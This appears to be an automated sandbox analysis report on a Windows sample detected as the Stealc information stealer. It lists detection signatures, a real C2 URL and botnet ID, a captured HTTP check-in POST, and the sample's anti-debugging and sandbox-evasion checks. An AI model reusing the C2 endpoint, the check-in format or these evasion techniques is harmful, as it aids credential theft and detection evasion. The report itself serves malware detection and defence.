Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544952
MD5:	31c844530d857c4266248543c40284cc
SHA1:	97f7aae6867695e025abdc5e1a7d446d7c5b875f
SHA256:	81ccbbfcfd5e8991632a16d6b4d28b36ef74409773b3e5622cf58cf43638ce07
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6644 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 31C844530D857C4266248543C40284CC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2131533461.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6644	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6644	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ba0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T22:13:18.983215+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

Code function: 0_2_00BA62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00BA62D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 42 35 43 31 32 46 35 37 35 33 37 39 39 36 32 31 31 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="hwid"6BBB5C12F5753799621165------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="build"tale------FHCGCFHDHIIIDGCAAEGD--

Source: file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2176326944.000000000134A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php.
Source: file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.2176326944.0000000001355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/2
Source: file.exe, 00000000.00000002.2176326944.000000000134A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2176326944.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:U
Source: file.exe, file.exe, 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2131533461.00000000052FB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE0098	0_2_00BE0098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC41EC	0_2_00FC41EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFB198	0_2_00BFB198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD2138	0_2_00BD2138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE4288	0_2_00BE4288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C0E258	0_2_00C0E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0C3DB	0_2_00F0C3DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C1D39E	0_2_00C1D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2B308	0_2_00C2B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010CE2EC	0_2_010CE2EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF04BF	0_2_00FF04BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE45A8	0_2_00BE45A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C0D5A8	0_2_00C0D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC4573	0_2_00BC4573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE544	0_2_00BCE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F9B6CF	0_2_00F9B6CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C296FD	0_2_00C296FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE66C8	0_2_00BE66C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C1A648	0_2_00C1A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF4639	0_2_00FF4639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C16799	0_2_00C16799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FED779	0_2_00FED779
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFD720	0_2_00BFD720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF98B8	0_2_00BF98B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C0F8D6	0_2_00C0F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFB8A8	0_2_00BFB8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4868	0_2_00BF4868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF8993	0_2_00FF8993
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E98939	0_2_00E98939
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEBA94	0_2_00FEBA94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C08BD9	0_2_00C08BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C10B88	0_2_00C10B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C14BA8	0_2_00C14BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F84B2A	0_2_00F84B2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C1AC28	0_2_00C1AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF5DB9	0_2_00BF5DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4DC8	0_2_00BF4DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD1D78	0_2_00BD1D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC1D37	0_2_00FC1D37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF5D2C	0_2_00FF5D2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFBD68	0_2_00BFBD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C0AD38	0_2_00C0AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C11EE8	0_2_00C11EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF6E94	0_2_00FF6E94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE8E78	0_2_00BE8E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF1F29	0_2_00FF1F29

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00BA4610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fvvfrivq ZLIB complexity 0.9949130575525664

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00BB9790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00BB3970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\IN2L35LD.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2094592 > 1048576

Source: file.exe

Static PE information: Raw size of fvvfrivq is bigger than: 0x100000 < 0x194400

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2131533461.00000000052FB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2131533461.00000000052FB000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ba0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fvvfrivq:EW;fjsconsa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fvvfrivq:EW;fjsconsa:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BB9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00BB9BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x200375 should be: 0x20d163

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fvvfrivq
Source: file.exe	Static PE information: section name: fjsconsa
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA108 push 321921FEh; mov dword ptr [esp], esi	0_2_010BA14B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107A117 push 02A8F92Dh; mov dword ptr [esp], edx	0_2_0107A18E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCA0F2 push eax; retf	0_2_00BCA119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCA0DC push eax; retf	0_2_00BCA0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067165 push ebp; mov dword ptr [esp], edi	0_2_01067194
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01065181 push 1B6DE272h; mov dword ptr [esp], edx	0_2_0106518F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8B051 push edi; mov dword ptr [esp], ebp	0_2_00F8B08A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8B051 push ecx; mov dword ptr [esp], edx	0_2_00F8B0C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8B051 push 12F6A33Ch; mov dword ptr [esp], edx	0_2_00F8B0FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8B051 push 67A49EB6h; mov dword ptr [esp], ebx	0_2_00F8B127
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC41EC push eax; mov dword ptr [esp], ebx	0_2_00FC41F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC41EC push 3C93E391h; mov dword ptr [esp], eax	0_2_00FC422C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC41EC push esi; mov dword ptr [esp], edi	0_2_00FC4238
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC41EC push eax; mov dword ptr [esp], ebp	0_2_00FC42CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01096010 push 2D374D35h; mov dword ptr [esp], ecx	0_2_01096089
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01099028 push 1E3B3646h; mov dword ptr [esp], ebp	0_2_01099082
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0108F03D push 138BEB52h; mov dword ptr [esp], edi	0_2_0108F08B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FC034 push esi; mov dword ptr [esp], 381528BDh	0_2_010FC09D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push 4CCBEA85h; mov dword ptr [esp], ebx	0_2_0107E047
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push 5A609B12h; mov dword ptr [esp], ecx	0_2_0107E0FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push 6ECB3A68h; mov dword ptr [esp], esi	0_2_0107E169
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push esi; mov dword ptr [esp], edx	0_2_0107E177
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push eax; mov dword ptr [esp], 6F5F1B81h	0_2_0107E1A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push 5AD73E99h; mov dword ptr [esp], edi	0_2_0107E1E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E038 push eax; mov dword ptr [esp], esi	0_2_0107E1FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101806A push ebp; mov dword ptr [esp], esi	0_2_010180AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101806A push edi; mov dword ptr [esp], esp	0_2_0101811A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106B06D push 22C2893Dh; mov dword ptr [esp], edx	0_2_0106B0EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106B06D push ebp; mov dword ptr [esp], edi	0_2_0106B117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D5066 push 2058CE04h; mov dword ptr [esp], ebx	0_2_010D5033
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D5066 push 295712A7h; mov dword ptr [esp], esp	0_2_010D503B

Source: file.exe

Static PE information: section name: fvvfrivq entropy: 7.9536048042194505

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00BB9BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-37938

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD837 second address: FFD840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD840 second address: FFD844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1A0A second address: FF1A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1A10 second address: FF1A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1A14 second address: FF1A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB474E5AC21h 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC855 second address: FFC87A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB474DDA566h 0x00000008 jp 00007FB474DDA566h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FB474DDA56Ah 0x00000015 push esi 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop esi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCCBB second address: FFCCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD134 second address: FFD15B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FB474DDA578h 0x0000000a jo 00007FB474DDA566h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF95F second address: FFF964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9C6 second address: FFF9CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFB90 second address: FFFB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFB95 second address: FFFBD8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4A0E374Dh 0x0000000f and dh, FFFFFFA3h 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 xor dword ptr [ebp+122D215Dh], ebx 0x0000001c mov dword ptr [ebp+122D21AEh], ecx 0x00000022 push 00000003h 0x00000024 sub dword ptr [ebp+122D17B7h], edx 0x0000002a add dword ptr [ebp+122D22C4h], eax 0x00000030 call 00007FB474DDA569h 0x00000035 push eax 0x00000036 push edx 0x00000037 ja 00007FB474DDA568h 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFBD8 second address: FFFC1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB474E5AC27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007FB474E5AC2Dh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFC1A second address: FFFC82 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB474DDA566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jne 00007FB474DDA56Ch 0x00000014 push ebx 0x00000015 jl 00007FB474DDA566h 0x0000001b pop ebx 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push esi 0x00000023 jns 00007FB474DDA566h 0x00000029 pop esi 0x0000002a jg 00007FB474DDA572h 0x00000030 popad 0x00000031 pop eax 0x00000032 jc 00007FB474DDA56Ch 0x00000038 lea ebx, dword ptr [ebp+124458C0h] 0x0000003e ja 00007FB474DDA56Ch 0x00000044 mov edi, dword ptr [ebp+122D36F9h] 0x0000004a xchg eax, ebx 0x0000004b push esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push edi 0x0000004f pop edi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFCF4 second address: FFFCFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFCFA second address: FFFD14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB474DDA576h 0x00000009 rdtsc
